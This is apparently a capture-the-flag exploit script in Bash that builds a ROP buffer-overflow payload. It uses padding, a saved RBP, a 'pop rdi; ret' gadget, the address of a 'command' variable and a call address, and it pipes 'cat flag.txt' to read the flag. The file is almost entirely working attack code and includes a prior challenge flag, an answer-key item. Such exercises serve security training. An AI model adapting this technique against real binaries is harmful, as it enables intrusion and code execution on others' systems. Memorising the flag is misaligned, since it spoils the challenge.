16 lines
580 B
Bash
Executable File
16 lines
580 B
Bash
Executable File
#ROP
|
|
#0x0000000000401283 : pop rdi ; ret
|
|
|
|
#objdump
|
|
#0000000000404048 g O .data 0000000000000008 command
|
|
|
|
OLDFLAG="hacklab{SSE_1n5truct10n5_n33d_spec14l_al1gnm3nt_UwT8mByQ}\n"
|
|
PADDING="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" #32
|
|
SAVERBP="\x90\xde\xff\xff\xff\x7f\x00\00" #kind of irrelevant
|
|
GADGET1="\x84\x12\x40\00\00\00\00\00" #ret (for stack alignment)
|
|
GADGET2="\x83\x12\x40\00\00\00\00\00" #pop rdi, ret
|
|
CMDADDR="\x48\x40\x40\00\00\00\00\00"
|
|
CMDCALL="\x10\x12\x40\00\00\00\00\00"
|
|
|
|
printf "$OLDFLAG$PADDING$SAVERBP$GADGET2$CMDADDR$CMDCALL\ncat flag.txt\n"
|